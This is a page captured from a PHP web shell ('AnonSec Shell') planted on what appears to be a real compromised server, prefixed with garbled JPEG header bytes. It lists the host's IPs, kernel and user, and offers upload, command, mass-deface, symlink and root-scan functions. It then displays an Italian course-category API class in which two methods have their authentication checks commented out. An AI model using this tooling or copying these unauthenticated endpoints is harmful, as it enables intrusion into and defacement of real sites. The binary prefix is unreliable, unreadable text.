JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ascii/app/components/categoria/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ascii/app/components/categoria/api.class.php
<?php
include "helper/content.php";
class APICategoria extends API
{
	
	/**
	 * 
	 * 
	 * 
	 * 
	 * 
	 * 
	 * @author Angelo Pescatore
	 * @author Giuseppe Paglialonga
	 * 
	 * API Categorie e sottocategorie
	 * 
	 * 
	 * 
	 * 
	 */
	
	public function getCategoria($idcategoria)
	{
		$this->validateAuthAndGetUser();
		if ($this->checkUserPermission() == true)
		{
			$contentOperations = new ContentCategoria();
			$result            = $contentOperations->getCategoria($idcategoria, false);
			return $this->printMessage($this->responseMessage($result, true));
		}
		else
			return $this->printMessage($this->responseMessage("Categoria non trovata!", false));
	}


	public function getCategorieSelect()
	{
		$this->validateAuthAndGetUser();
		if ($this->checkUserPermission() == true)
		{
			$contentOperations = new ContentCategoria();
			$result            = $contentOperations->getCategorieSelect();
			return $this->printMessage($this->responseMessage($result, true));
		}
		else
			return $this->printMessage($this->responseMessage("Categoria non trovata!", false));
	}


	
	
	public function getCategorie()
	{
		$this->validateAuthAndGetUser();
		if ($this->checkUserPermission() == true)
		{
			$contentOperations = new ContentCategoria();
			$result            = $contentOperations->getCategorie();
			
			return $this->printMessage($this->responseMessage($result, true));
		}
		else
		{
			return $this->printMessage($this->responseMessage("Nessuna Categoria trovata!", false));
		}
	}
	
	public function deleteCategoria($idcategoria)
	{
		$this->validateAuthAndGetUser();
		if ($this->checkUserPermission() == true)
		{
			$contentOperations = new ContentCategoria();
			$result            = $contentOperations->deleteCategoria($idcategoria);
			return $this->printMessage($this->responseMessage("Elimina Categoria...", true));
		}
		else
		{
			return $this->printMessage($this->responseMessage("Operazione non permessa", false));
		}
	}
	
	private function slugURL($slug){
		 $slug = str_replace("[", "-", $slug);
		 $slug = str_replace("]", "", $slug);
		 $slug = str_replace(".", "", $slug);
		 $slug = str_replace(",", "", $slug);
		 $slug = str_replace("/", "", $slug);
		 $slug = str_replace("\\", "", $slug);
		 $slug = str_replace("(", "-", $slug);
		 $slug = str_replace(")", "", $slug);
		 $slug = str_replace(" ", "-", $slug);
		 $slug = str_replace("  ", "-", $slug);
		 $slug = str_replace("   ", "-", $slug);
		 $slug = str_replace("    ", "-", $slug);
		 $slug = str_replace("     ", "-", $slug);
		 $slug = str_replace("/", "", $slug);
		 $slug = str_replace('"', "", $slug);
		 $slug = str_replace("'", "", $slug);
		 $slug = str_replace("+", "", $slug);
		 $slug = str_replace("@", "", $slug);
		 $slug = str_replace("*", "", $slug);
		 $slug = str_replace("#", "", $slug);
		 $slug = str_replace("?", "", $slug);
		 $slug = str_replace("!", "", $slug);
		 $slug = str_replace(";", "", $slug);
		 $slug = str_replace(":", "", $slug);
		 $slug = str_replace("&", "", $slug);
		 $slug = str_replace("$", "", $slug);
		 $slug = str_replace("£", "", $slug);
		 $slug = str_replace("=", "", $slug);
		 $slug = str_replace("^", "", $slug);
		 $slug = str_replace("|", "", $slug);
		 $slug = str_replace(">", "", $slug);
		 $slug = str_replace("<", "", $slug);
		 $slug = str_replace("à", "a", $slug);
		 $slug = str_replace("è", "e", $slug);
		 $slug = str_replace("é", "e", $slug);
		 $slug = str_replace("ì", "i", $slug);
		 $slug = str_replace("ò", "o", $slug);
		 $slug = str_replace("ù", "u", $slug);
		 $slug = str_replace("’", "", $slug);
		 $slug = str_replace("°", "", $slug);
		 $slug = str_replace("--------", "-", $slug);
		 $slug = str_replace("-------", "-", $slug);
		 $slug = str_replace("------", "-", $slug);
		 $slug = str_replace("-----", "-", $slug);
		 $slug = str_replace("----", "-", $slug);
		 $slug = str_replace("---", "-", $slug);
		 $slug = str_replace("--", "-", $slug);
		 $slug = preg_replace('/\s+/', '', $slug);
		 $slug = trim($slug);
		 $slug = strtolower($slug);
		 $slug =  substr($slug, 0,250);
		 return $slug;
	}
	
	//$timestamp quanto è presente un allegato non è un numero ma il valore precedente che viene dalla view
	public function insertCategoria($nome, $idpadre, $descrizione, $logo)
	{
		$this->validateAuthAndGetUser();
		
		if ($this->checkUserPermission() == true)
		{

			$cont = new ContentCategoria();

			$slug = $this->slugURL($nome);

			if(!$slug){
				$slug = rand(10)."-".rand(4);
			}

			$res  = $cont->insertCategoria( $nome, $idpadre, $descrizione, $slug);
			if ($res)
			{
				if($logo){
					$url = $this->putFileS3Private("pubblica/corsi/categorie", $res, $logo);
					$check = $cont->aggiornaUrlCategoria($res, $url);

					return $this->printMessage($this->responseMessage($url, true));
				}else{
					return $this->printMessage($this->responseMessage($res, true));
				}
				
				

			}
			else
			{
				return $this->printMessage($this->responseMessage("Inserimento Categoria...", false));
			}
		}
		else
		{
			return $this->printMessage($this->responseMessage("Inserimento Categoria...\n Permesso negato!", false));
		}
	}
	
	public function updateCategoria($idcategoria, $nome, $idpadre, $descrizione, $logo)
	{
		$this->validateAuthAndGetUser();
		if ($this->checkUserPermission() == true){
				
			$cont = new ContentCategoria();
			$cont->updateCategoria($idcategoria, $nome, $idpadre, $descrizione);
			
			if($logo){
				$url = $this->putFileS3Private("pubblica/corsi/categorie", $idcategoria, $logo);
				$check = $cont->aggiornaUrlCategoria($idcategoria, $url);

				return $this->printMessage($this->responseMessage($url, true));
			}else{
				return $this->printMessage($this->responseMessage("Categoria Aggiornata con successo", true));
			}

		}else{
			return $this->printMessage($this->responseMessage("Update Categoria...\n Permesso Negato!", false));
		}
	}
	
	/**
	 * 
	 * 
	 * FINE API COMPONENT
	 * 
	 */
	public function attivaDisattivaCategoriaCorso($idcategoria)
	{
		/*$this->validateAuthAndGetUser();
		if ($this->checkUserPermission() == true)
		{*/
			$contentOperations = new ContentCategoria();
			$result            = $contentOperations->attivaCategoriaCorso($idcategoria);
			return $this->printMessage($this->responseMessage("$result", true));
		/*}
		else
		{
			return $this->printMessage($this->responseMessage("Permessi non validi!", false));
		}*/
	}

	public function attivaDisattivaVenditaCategoriaCorso($idcategoria)
	{
		/*$this->validateAuthAndGetUser();
		if ($this->checkUserPermission() == true)
		{*/
			$contentOperations = new ContentCategoria();
			$result            = $contentOperations->attivaDisattivaVenditaCategoriaCorso($idcategoria);
		
			return $this->printMessage($this->responseMessage("$result", true));
		/*}
		else
		{
			return $this->printMessage($this->responseMessage("Permessi non validi!", false));
		}*/
	}
	
}

?>

Anon7 - 2022
AnonSec Team